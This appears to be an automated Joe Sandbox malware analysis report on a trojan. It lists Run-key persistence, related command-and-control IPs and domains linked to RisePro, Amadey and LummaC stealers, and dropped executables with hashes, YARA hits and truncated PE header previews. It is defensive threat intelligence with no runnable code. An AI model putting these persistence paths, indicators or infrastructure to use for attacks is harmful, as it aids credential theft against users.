19:21:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
20:21:02	API Interceptor	886x Sleep call for process: explorha.exe modified
20:21:11	API Interceptor	17x Sleep call for process: powershell.exe modified
20:21:41	API Interceptor	130x Sleep call for process: ad0e9cf6d6.exe modified
20:21:43	API Interceptor	23x Sleep call for process: rundll32.exe modified
20:21:45	API Interceptor	134x Sleep call for process: MPGPH131.exe modified
20:22:00	API Interceptor	1x Sleep call for process: RageMP131.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
147.45.47.93	wBJ360C3yY.exe	Get hash	malicious	RisePro Stealer	Browse
	CCxHnT51T1.exe	Get hash	malicious	RisePro Stealer	Browse
	RB9ThLWYOo.exe	Get hash	malicious	RisePro Stealer	Browse
	p6NIdF30dB.exe	Get hash	malicious	RisePro Stealer	Browse
	7Cxfrc3tyz.exe	Get hash	malicious	RisePro Stealer	Browse
	jc8gOWdHBm.exe	Get hash	malicious	RisePro Stealer	Browse
	pMBlUhfGr6.exe	Get hash	malicious	RisePro Stealer	Browse
	LtD977HYnu.exe	Get hash	malicious	RisePro Stealer	Browse
	hr88Dzp4TR.exe	Get hash	malicious	RisePro Stealer	Browse
	gNJrP0u8xx.exe	Get hash	malicious	RisePro Stealer	Browse
172.67.75.166	wBJ360C3yY.exe	Get hash	malicious	RisePro Stealer	Browse
	p6NIdF30dB.exe	Get hash	malicious	RisePro Stealer	Browse
	80OrFCsz0u.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	file.exe	Get hash	malicious	RisePro Stealer	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer	Browse
	vGDqFBB1Jz.exe	Get hash	malicious	RisePro Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	wBJ360C3yY.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	CCxHnT51T1.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	RB9ThLWYOo.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	p6NIdF30dB.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	7Cxfrc3tyz.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	jc8gOWdHBm.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	pMBlUhfGr6.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	LtD977HYnu.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	hr88Dzp4TR.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
db-ip.com	wBJ360C3yY.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	CCxHnT51T1.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	RB9ThLWYOo.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	p6NIdF30dB.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	7Cxfrc3tyz.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	jc8gOWdHBm.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	pMBlUhfGr6.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	LtD977HYnu.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	hr88Dzp4TR.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	wBJ360C3yY.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	CCxHnT51T1.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	RB9ThLWYOo.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	p6NIdF30dB.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	7Cxfrc3tyz.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	jc8gOWdHBm.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	pMBlUhfGr6.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	LtD977HYnu.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	hr88Dzp4TR.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
FREE-NET-ASFREEnetEU	wBJ360C3yY.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	CCxHnT51T1.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	RB9ThLWYOo.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	p6NIdF30dB.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	7Cxfrc3tyz.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	jc8gOWdHBm.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	pMBlUhfGr6.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	LtD977HYnu.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	hr88Dzp4TR.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	gNJrP0u8xx.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
CLOUDFLARENETUS	wBJ360C3yY.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	CCxHnT51T1.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	RB9ThLWYOo.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	p6NIdF30dB.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	7Cxfrc3tyz.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	PEE1tTQcx4.exe	Get hash	malicious	Xehook Stealer	Browse	104.21.54.236
	F0GarcRZ1E.exe	Get hash	malicious	LummaC	Browse	104.21.75.133
	jc8gOWdHBm.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	pMBlUhfGr6.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
FREE-NET-ASFREEnetEU	wBJ360C3yY.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	CCxHnT51T1.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	RB9ThLWYOo.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	p6NIdF30dB.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	7Cxfrc3tyz.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	jc8gOWdHBm.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	pMBlUhfGr6.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	LtD977HYnu.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	hr88Dzp4TR.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	gNJrP0u8xx.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	wBJ360C3yY.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 172.67.75.166
	CCxHnT51T1.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 172.67.75.166
	RB9ThLWYOo.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 172.67.75.166
	p6NIdF30dB.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 172.67.75.166
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 172.67.75.166
	7Cxfrc3tyz.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 172.67.75.166
	F0GarcRZ1E.exe	Get hash	malicious	LummaC	Browse	34.117.186.192 172.67.75.166
	jc8gOWdHBm.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 172.67.75.166
	pMBlUhfGr6.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 172.67.75.166
	LtD977HYnu.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 172.67.75.166

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	l2ZKczbGRq.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.1033.1898.exe	Get hash	malicious	Amadey, Mars Stealer, PureLog Stealer, RisePro Stealer, SmokeLoader, Stealc, Vidar	Browse
	a5PfQvvi4y.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	4fMLTRkOfB.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	SecuriteInfo.com.Win32.PWSX-gen.29871.25289.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	SecuriteInfo.com.Win32.PWSX-gen.14048.7584.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RisePro Stealer	Browse
	Yw502Cdx4o.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	6BxakoD7u9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.1994.3374.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
C:\ProgramData\MPGPH131\MPGPH131.exe	CCxHnT51T1.exe	Get hash	malicious	RisePro Stealer	Browse

Created / dropped Files

C:\ProgramData\MPGPH131\MPGPH131.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2256896
Entropy (8bit):	7.951346965096005
Encrypted:	false
SSDEEP:	49152:tSUl6vD5DxN6HHLJ9tZvA1qsYaG0cLLCPfwvk2ka1UxCtW:tSSwD5DxkfuqkPcLA0l1UxW
MD5:	C9C09952C1C03B2FE8FFB27EEA781AC5
SHA1:	E879AE43B128F67B3F5168392145DF1CE29B7FA5
SHA-256:	BECE1D107F2CFC2BF0D759D561578019ECD8C976D0143088FBC2BE78F69185DA
SHA-512:	41C7692CD2E1B144500388719531F34B1C1C3B90503A2E7A2CE8B7316BDE5F68A6C2F019173E26757186B86863EC7EC5166A8BF8CB4A59FE4115AF6596B54F46
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42% Antivirus: Virustotal, Detection: 48%, Browse
Joe Sandbox View:	Filename: CCxHnT51T1.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L.....f...............'.4............X......P....@.......................... X......R#...@.........................L.W.L...m........P..P...................<.W...............................W.............................t...@................... . .@.......>..................@....rsrc...P....P.......N..............@....idata .............Z..............@... .p..........\..............@...kmmiqwbd......?......^..............@...fznmywdp......X......n".............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460494158653329
Encrypted:	false
SSDEEP:	24576:IvkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggky+yC7:IsMPSYcS5wPi095Pbg9y
MD5:	15A42D3E4579DA615A384C717AB2109B
SHA1:	22AEEDEB2307B1370CDAB70D6A6B6D2C13AD2301
SHA-256:	3C97BB410E49B11AF8116FEB7240B7101E1967CAE7538418C45C3D2E072E8103
SHA-512:	1EB7F126DCCC88A2479E3818C36120F5AF3CAA0D632B9EA803485EE6531D6E2A1FD0805B1C4364983D280DF23EA5CA3AD4A5FCA558AC436EFAE36AF9B795C444
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 79%, Browse
Joe Sandbox View:	Filename: l2ZKczbGRq.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.TrojanX-gen.1033.1898.exe, Detection: malicious, Browse Filename: a5PfQvvi4y.exe, Detection: malicious, Browse Filename: 4fMLTRkOfB.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.29871.25289.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.14048.7584.exe, Detection: malicious, Browse Filename: Yw502Cdx4o.exe, Detection: malicious, Browse Filename: 6BxakoD7u9.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.TrojanX-gen.1994.3374.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d...i..e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2256896
Entropy (8bit):	7.951346965096005
Encrypted:	false
SSDEEP:	49152:tSUl6vD5DxN6HHLJ9tZvA1qsYaG0cLLCPfwvk2ka1UxCtW:tSSwD5DxkfuqkPcLA0l1UxW
MD5:	C9C09952C1C03B2FE8FFB27EEA781AC5
SHA1:	E879AE43B128F67B3F5168392145DF1CE29B7FA5
SHA-256:	BECE1D107F2CFC2BF0D759D561578019ECD8C976D0143088FBC2BE78F69185DA
SHA-512:	41C7692CD2E1B144500388719531F34B1C1C3B90503A2E7A2CE8B7316BDE5F68A6C2F019173E26757186B86863EC7EC5166A8BF8CB4A59FE4115AF6596B54F46
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42% Antivirus: Virustotal, Detection: 48%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L.....f...............'.4............X......P....@.......................... X......R#...@.........................L.W.L...m........P..P...................<.W...............................W.............................t...@................... . .@.......>..................@....rsrc...P....P.......N..............@....idata .............Z..............@... .p..........\..............@...kmmiqwbd......?......^..............@...fznmywdp......X......n".............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1876480
Entropy (8bit):	7.957020454357134
Encrypted:	false
SSDEEP:	49152:oLTzyXuLotS3ZcX0s8vOBLurW1gPXMaQymX1OoC4HcT7tz/J:oLTeeLD3ZjrvOBLPR8mBu
MD5:	14A7790619E67FB66BB29AD3A979C36B
SHA1:	FE798EC4724910CD0DE19A21EE879846BF66DAB1
SHA-256:	5716CA13A390D744B1276A1CA83F837F55F797A53B68FA1C738939C94F19F52D
SHA-512:	9A5ED60FBCE5A1C79C8BC0BFC5F60275EB908B1A36836931E06C4152B0DAC545456B5A446E43578D16226DBA153FF3B52716CDB4F3A714F095F9C97972F2EB1F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 63%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R..n3.@n3.@n3.@5[.A`3.@5[.A.3.@.^.A\|3.@.^.Az3.@.^.A.3.@5[.Az3.@5[.A}3.@n3.@.3.@.].Ao3.@.]u@o3.@.].Ao3.@Richn3.@........................PE..L......e.............................pJ...........@...........................J.....x$....@.................................Vp..j....`......................pmJ............................. mJ..................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... .@.........................@...nrhwmcml......0.....................@...cbtiwtyd.....pJ.....................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sarra[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2263040
Entropy (8bit):	7.951669867485525
Encrypted:	false
SSDEEP:	49152:PSUl6vD5DxN6HHLJFwkXeUND1XvwRpJrI1BblT6j/WHt12fdDD:PSSwD5DxkSgwJrI1QIT2fdDD
MD5:	04846DC5508416F587D93CF835520D8A
SHA1:	A3208669E2ADA3896567D0ACB07FC29FF68C3358
SHA-256:	4C83FA749481D0D8549034FACF59317F713674625C990E83DCB6EC3E00FC2447
SHA-512:	E9110A82691A7AC800F6D93D2AFF96C5ED0F768DCE29E4D8DF99CE48515EF45A25D4843D3C97F3E9814C03406FEA1FCF5D601B276139A870F1241C645E21812E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39% Antivirus: Virustotal, Detection: 46%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L.....f...............'.4............X......P....@...........................X.....;6#...@..........................ZX.L...^...r....P..X+...................ZX..............................YX.............................t...@................... . .@.......>..................@....rsrc...X+...P.......N..............@....idata .............Z..............@... ............\..............@...plzndgzq.0...`?..&...^..............@...imnknifl......X.......".............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1050444
Entropy (8bit):	5.32049141507463
Encrypted:	false
SSDEEP:	24576:FqDEvCBqDEvC0qDEvCBqDEvC0qDEvCBqDEvCBqDEvCw:FTvCBTvC0TvCBTvC0TvCBTvCBTvCw
MD5:	2B028D4B2265F46258F609CAA8A50C38
SHA1:	B0CE73F8B8D51F58E646477C2BB3F3D80BC0491C
SHA-256:	2896A9D33493D47B2FF3C2981A9DE8209763453D8483D2F0FAE383D96BA0D72A
SHA-512:	AF1E1692E42ECACAD85183B40057F0CE606D40AE8999FAFE9F10CAD9EAFEC46C5BD45217CDE8787684E4435D755EA9F9106848C8FECADB8BC0877E2A4A1530E4
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......f..........".................w.............@..........................0......P.....@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400158525810517
Encrypted:	false
SSDEEP:	3072:Q3uSD+ZwruS0bGcuZRt2sSZV/Q3IegRQod4l:AuTiabHuZRAFtlD4l
MD5:	726CD06231883A159EC1CE28DD538699
SHA1:	404897E6A133D255AD5A9C26AC6414D7134285A2
SHA-256:	12FEF2D5995D671EC0E91BDBDC91E2B0D3C90ED3A8B2B13DDAA8AD64727DCD46
SHA-512:	9EA82E7CB6C6A58446BD5033855947C3E2D475D2910F2B941235E0B96AA08EEC822D2DD17CC86B2D3FCE930F78B799291992408E309A6C63E3011266810EA83E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...j..e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1504
Entropy (8bit):	5.274107779727273
Encrypted:	false
SSDEEP:	24:36SKco4KmBs4RPT6BmFoUe7u1omjKcm9qr9t7J0gt/NKmNUNEr8H0UMem:qSU4y4RQmFoUeCamfm9qr9tK8NfUNEIa
MD5:	89EC1D409A2EDB6B4171076A26901AAF
SHA1:	84BB2EEFFD16C4629351161BEA49FAA5F0F0BB8B
SHA-256:	3C0090F72FBE7B1EFCE88F7B44894F1449992CDC7F550EF5D05EE98632F57F8C
SHA-512:	261EFE707486D35E53AB9F4B165AF93D81F2CD9FD50F13C7181B1EB95B37FF90F6BE22E1F7D1B95D0DE5C34160048303FEA465BA63F2D7363C86C541427E090E
Malicious:	false
Preview:	@...e...........4.....................X..............@..........@...............\|.jdY\.H.s9.!..\|4.......System.IO.Compression...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2256896
Entropy (8bit):	7.951346965096005
Encrypted:	false
SSDEEP:	49152:tSUl6vD5DxN6HHLJ9tZvA1qsYaG0cLLCPfwvk2ka1UxCtW:tSSwD5DxkfuqkPcLA0l1UxW
MD5:	C9C09952C1C03B2FE8FFB27EEA781AC5
SHA1:	E879AE43B128F67B3F5168392145DF1CE29B7FA5
SHA-256:	BECE1D107F2CFC2BF0D759D561578019ECD8C976D0143088FBC2BE78F69185DA
SHA-512:	41C7692CD2E1B144500388719531F34B1C1C3B90503A2E7A2CE8B7316BDE5F68A6C2F019173E26757186B86863EC7EC5166A8BF8CB4A59FE4115AF6596B54F46
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L.....f...............'.4............X......P....@.......................... X......R#...@.........................L.W.L...m........P..P...................<.W...............................W.............................t...@................... . .@.......>..................@....rsrc...P....P.......N..............@....idata .............Z..............@... .p..........\..............@...kmmiqwbd......?......^..............@...fznmywdp......X......n".............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000049001\amert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1876480
Entropy (8bit):	7.957020454357134
Encrypted:	false
SSDEEP:	49152:oLTzyXuLotS3ZcX0s8vOBLurW1gPXMaQymX1OoC4HcT7tz/J:oLTeeLD3ZjrvOBLPR8mBu
MD5:	14A7790619E67FB66BB29AD3A979C36B
SHA1:	FE798EC4724910CD0DE19A21EE879846BF66DAB1
SHA-256:	5716CA13A390D744B1276A1CA83F837F55F797A53B68FA1C738939C94F19F52D
SHA-512:	9A5ED60FBCE5A1C79C8BC0BFC5F60275EB908B1A36836931E06C4152B0DAC545456B5A446E43578D16226DBA153FF3B52716CDB4F3A714F095F9C97972F2EB1F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R..n3.@n3.@n3.@5[.A`3.@5[.A.3.@.^.A\|3.@.^.Az3.@.^.A.3.@5[.Az3.@5[.A}3.@n3.@.3.@.].Ao3.@.]u@o3.@.].Ao3.@Richn3.@........................PE..L......e.............................pJ...........@...........................J.....x$....@.................................Vp..j....`......................pmJ............................. mJ..................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... .@.........................@...nrhwmcml......0.....................@...cbtiwtyd.....pJ.....................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3086848
Entropy (8bit):	6.540089847600528
Encrypted:	false
SSDEEP:	49152:i9vplZ9RHTnN/ftM849KUF3wN7VWuDJ2W6yHq+zHnPVY:iVFHTN/fq849KUF3wN7EGpMkvG
MD5:	F70A70F653AE553A805FD21BC3092B13
SHA1:	095FF30ABDFDEAA91018556AB4EC92566AD708D4
SHA-256:	1EC09530C1153453B1BD0989AF58808BC44E069C4608C878A64530BB08FA8840
SHA-512:	9AAD1103A4161A577B10EE612258ADD9B9147D77B50DFC6AAD965672540557CE66FC026FEA61DFAEBFFAFC8BAA24885BF33E3EB34CFF7FD4C1200D781FD07586
Malicious:	true
